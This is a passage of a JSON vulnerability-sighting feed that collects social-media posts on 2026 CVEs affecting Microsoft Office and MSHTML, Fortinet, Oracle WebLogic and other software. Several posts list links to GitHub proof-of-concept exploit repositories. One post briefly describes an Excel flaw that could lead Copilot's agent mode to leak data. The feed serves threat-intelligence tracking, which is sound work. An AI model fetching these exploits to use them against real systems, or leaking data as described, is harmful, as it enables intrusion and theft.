\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Word \u0438 MSHTML \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b.\n\n\ud83d\udd12 \u041f\u043e\u043c\u0438\u043c\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439, Microsoft \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u044d\u0442\u0430\u043f\u043d\u0443\u044e \u0437\u0430\u043c\u0435\u043d\u0443 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Secure Boot \u043e\u0431\u0440\u0430\u0437\u0446\u0430 2011 \u0433\u043e\u0434\u0430, \u0441\u0440\u043e\u043a \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a\u0430\u0435\u0442 \u0432 \u0438\u044e\u043d\u0435 2026 \u0433\u043e\u0434\u0430. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u0441\u0442\u0435\u043f\u0435\u043d\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0435\u0439.\n\n#patchtuesday #zeroday #windows #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:33.476786Z"}, {"uuid": "32847701-bc11-4e91-83e4-7ac8bd31fedf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/ZerodayAlert/609", "content": "\u041d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u0432\u0435\u0441\u044c \u043f\u0430\u043a\u0435\u0442 Microsoft Office\n\n\u26a0\ufe0f \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2026-21509 \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: Office 2016, 2019, LTSC 2021, LTSC 2024 \u0438 Microsoft 365 Apps for Enterprise.\n\n\ud83d\udd04 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Office 2021 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0442 \u0437\u0430\u0449\u0438\u0442\u0443 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0414\u043b\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u0432 Office 2016 \u0438 2019 \u043f\u0430\u0442\u0447\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438 \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043f\u043e\u0437\u0434\u043d\u0435\u0435.\n\n\ud83d\udee1 Microsoft \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u0447\u0435\u0440\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 Windows \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 Office. \u0421\u0443\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0431\u0445\u043e\u0434\u0435 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 COM \u0438 OLE, \u0430\u0442\u0430\u043a\u0430 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n#microsoft #office #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #zeroday \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:33.289450Z"}, {"uuid": "9caed870-4b3b-44b9-9e16-8aa2b26eeb46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/cyberwarehouse/1069", "content": "\ud83d\udea8\ud83d\udee1\ufe0f Fortinet Fixes Critical FortiClientEMS RCE (CVE-2026-21643, CVSS 9.1).\n\nSQL injection flaw enables unauthenticated remote command execution via crafted requests. Affects EMS 7.4.4 (patch available).\n\nSeparate FortiCloud SSO bug is actively exploited for admin persistence and firewall config theft.\n\n\ud83d\udd17 See affected versions and patch guidance \u2192 https://thehackernews.com/2026/02/fortinet-patches-critical-sqli-flaw.html", "creation_timestamp": "2026-07-26T02:00:06.538543Z"}, {"uuid": "8a0a126c-f762-4030-bbb1-20841ac30bdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/prexclusiv.bsky.social/post/3mtvb4slvwc2e", "content": "\ud83d\udea8 Security Alert (CVSS 10.0)\n\nCISA warnt: Kritische Schwachstelle in Oracle HTTP Server & WebLogic (CVE-2026-21962). Angreifer k\u00f6nnen Systeme ohne Auth kompromittieren. PoC existiert.\n\nPatches aus dem Jan-CPU sofort einspielen!\n\n#ITSecurity #Oracle #CISA #SysAdmin", "creation_timestamp": "2026-08-25T07:08:39.980896Z"}, {"uuid": "63492887-ccff-476b-9520-db0598a11b9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mtvbdldruo2c", "content": "\ud83e\udd16 CVE-2026-21962 (CVSS 10.0): actively exploited flaw in Oracle WebLogic Server and Oracle HTTP Server, added to CISA KEV. Unauthenticated attackers can access critical data over HTTP.\nhttps://thehackernews.com/2026/08/actively-exploited-oracle-weblogic-flaw.html", "creation_timestamp": "2026-08-25T07:12:25.098066Z"}, {"uuid": "01f40865-07fe-477a-8e4a-1109682fb5b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/bin_z0ne/440", "content": "", "creation_timestamp": "2026-07-26T00:00:47.434267Z"}, {"uuid": "a3e00087-02e9-4ff2-aade-6b2c3f6ef6e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "seen", "source": "https://t.me/cyberwarehouse/1084", "content": "\ud83d\uded1 Microsoft fixed CVE-2026-21513 (CVSS 8.8) in February after confirming zero-day exploitation in MSHTML.\n\nA flaw in ieframe.dll let attackers bypass Mark-of-the-Web and IE ESC, enabling potential code execution. \n\nAkamai linked a malicious LNK sample to infrastructure associated with APT28.\n\n\ud83d\udd17 Read \u2192 https://thehackernews.com/2026/03/apt28-tied-to-cve-2026-21513-mshtml-0.html", "creation_timestamp": "2026-07-26T02:00:06.621343Z"}, {"uuid": "6f7fdc07-5d46-496a-bc6a-6f31c2426c7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21262", "type": "seen", "source": "https://t.me/EchelonEyes/4400", "content": "\u0427\u0442\u043e \u043d\u043e\u0432\u043e\u0433\u043e \u0432\u043e \u0432\u0442\u043e\u0440\u043d\u0438\u043a \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0443 Microsoft?\n\n\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u043e\u0433\u043e \u0432\u0442\u043e\u0440\u043d\u0438\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 Microsoft \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 79 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f.\n\n\u041f\u0435\u0440\u0432\u0430\u044f, CVE-2026-21262 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,8) , \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u0437\u0430\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 SQL Server. \u0412\u0442\u043e\u0440\u0430\u044f, CVE-2026-26127 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5), \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u043a\u0430\u0437\u043e\u043c \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0432\u043e \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 .NET.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u0441\u0432\u0435\u0436\u0435\u043c \u043f\u0430\u0442\u0447\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c \u0434\u0432\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u2013 CVE-2026-26110 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,4) \u0438 CVE-2026-26113 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,4). \u041e\u0431\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u0432 Microsoft Office \u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043d\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435.\n\n\u041e\u0441\u043e\u0431\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 Microsoft Excel \u2013 CVE-2026-2614  (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5), \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u0440\u0430\u0436\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 Microsoft Copilot.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433 \u0431\u044b \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0440\u0435\u0436\u0438\u043c Copilot Agent \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u043f\u0440\u0435\u0434\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0442\u0440\u0430\u0444\u0438\u043a, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0431\u044b \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u043a\u0430\u00bb, \u2014 \u043f\u043e\u044f\u0441\u043d\u044f\u0435\u0442 Microsoft.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://eyes.etecs.ru/r/9d5024 \n\n#\u0432\u0442\u043e\u0440\u043d\u0438\u043a\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 #PatchTuesday #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-26T02:00:25.489236Z"}, {"uuid": "05753e9c-45d3-49b0-a200-d55191f239ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21710", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17110", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, based on the latest observed activity.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31900\n\ud83c\udfaf GitHub Action (Black) \u2013 Arbitrary Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Batosay1337Lab/CVE-2026-31900\n\n\ud83e\udde0 Overview\nA vulnerability in GitHub Actions using the Black formatter allows attackers to inject malicious repository references via pyproject.toml, leading to arbitrary code execution in CI environments.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary code execution in CI/CD\n\u2022 Secret leakage risk\n\u2022 Supply chain attack vector\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-29598\n\ud83c\udfaf Acora CMS \u2013 Stored XSS\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/padayali-JD/CVE-2026-29598\n\n\ud83e\udde0 Overview\nMultiple stored XSS vulnerabilities allow attackers to inject malicious scripts via user input fields such as first and last name.\n\n\u2699\ufe0f Impact\n\u2022 Stored XSS\n\u2022 Session hijacking\n\u2022 Persistent client-side attacks\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-22200\n\ud83c\udfaf osTicket \u2013 Arbitrary File Read via PDF Export\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Remnant-DB/CVE-2026-22200\n\n\ud83e\udde0 Overview\nA vulnerability in osTicket allows attackers to embed crafted HTML into tickets, which leads to arbitrary file read when exporting to PDF.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive file disclosure\n\u2022 Server-side data leakage\n\u2022 Unauthorized file access\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21710\n\ud83c\udfaf Node.js HTTP Server \u2013 Potential Exploitation Path\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/dajneem23/CVE-2026-21710\n\n\ud83e\udde0 Overview\nA vulnerability affecting Node.js HTTP servers may allow exploitation depending on server configuration and request handling logic.\n\n\u2699\ufe0f Impact\n\u2022 Server-side exploitation\n\u2022 Application instability\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-5252\n\ud83c\udfaf Admin Panel \u2013 Cross-Site Scripting (XSS)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/aydin5245/CVE-2026-5252-CVE-POC-ivanti\n\n\ud83e\udde0 Overview\nA reflected XSS vulnerability allows attackers to execute arbitrary JavaScript through crafted requests targeting message endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Cross-site scripting\n\u2022 Session hijacking\n\u2022 Client-side exploitation\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Real-world PoC validation\n\u2022 CI/CD attack surface analysis\n\u2022 Web vulnerability exploitation patterns\n\u2022 Threat intelligence tracking\n\n\u26a0\ufe0f Important Note\nRecent GitHub trends show increasing risks:\n\u2022 Fake CVE advisories and malicious PoC distribution campaigns targeting developers\n\ud83d\udc49 Always verify PoC code before execution.\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:05.351381Z"}, {"uuid": "9ba1cabe-574d-48c7-81c2-47eee993f3b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17107", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2631\n\ud83c\udfaf Enterprise Application Vulnerability \u2013 Public PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Nxploited/CVE-2026-2631\n\n\ud83e\udde0 Overview\nA Proof-of-Concept is available for CVE-2026-2631, demonstrating exploitation paths related to application-level input handling and system behavior.\n\n\u2699\ufe0f Impact\n\u2022 Application compromise\n\u2022 Potential privilege abuse\n\u2022 Exploitation path analysis\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-32941\n\ud83c\udfaf Sliver C2 \u2013 Remote Denial of Service (OOM Crash)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/skoveit/CVE-2026-32941\n\n\ud83e\udde0 Overview\nA vulnerability in the Sliver C2 framework allows attackers to trigger a remote Out-of-Memory condition by abusing message size handling.\n\n\u2699\ufe0f Impact\n\u2022 Remote denial of service\n\u2022 C2 infrastructure disruption\n\u2022 Operational instability\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-3888\n\ud83c\udfaf Application-Level Vulnerability \u2013 PoC Exploit\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/netw0rk7/CVE-2026-3888-PoC\n\n\ud83e\udde0 Overview\nA PoC demonstrating exploitation of an application-layer vulnerability via crafted requests and abnormal input conditions.\n\n\u2699\ufe0f Impact\n\u2022 Service disruption\n\u2022 Input validation bypass\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-32746\n\ud83c\udfaf System Vulnerability \u2013 Research PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/jeffaf/cve-2026-32746\n\n\ud83e\udde0 Overview\nThis repository provides a PoC demonstrating potential exploitation paths affecting system-level behavior.\n\n\u2699\ufe0f Impact\n\u2022 System instability\n\u2022 Privilege misuse scenarios\n\u2022 Research and testing value\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21992\n\ud83c\udfaf Web Application Vulnerability \u2013 Exploit PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/TEXploited/CVE-2026-21992\n\n\ud83e\udde0 Overview\nA web-based vulnerability with a PoC demonstrating exploitation through crafted input and request manipulation.\n\n\u2699\ufe0f Impact\n\u2022 Web application compromise\n\u2022 Data exposure\n\u2022 Potential RCE chain\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit behavior analysis\n\u2022 Vulnerability validation\n\u2022 Red team / blue team exercises\n\u2022 Threat intelligence research\n\n\u26a0\ufe0f Notice\nSome CVE-related repositories may be redistributed or reused in different contexts.\nAlways verify PoC code before execution.\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:05.596493Z"}, {"uuid": "c5a7933f-01be-467c-a345-8abcd05e0995", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/Positive_Technologies/4049", "content": "\u0410 \u043c\u044b \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0438 \ud83d\ude10\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0434\u0435\u043f\u0430\u0440\u0442\u0430\u043c\u0435\u043d\u0442\u0430 \u043a\u0438\u0431\u0435\u0440\u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 PT ESC \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u0435\u0440\u0432\u0443\u044e \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-21509 (PT-2026-4775) \u0432 Microsoft Office, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \n\n1\ufe0f\u20e3 \u0412 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u0444\u043e\u0440\u043c\u0430\u0442\u0430 RTF, \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c. \u041f\u0438\u0441\u044c\u043c\u0430 \u0431\u044b\u043b\u0438 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u044b \u043f\u043e\u0434 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0443. \n\n2\ufe0f\u20e3 \u0412\u043d\u0443\u0442\u0440\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0441\u044f OLE-\u043e\u0431\u044a\u0435\u043a\u0442 \u0441 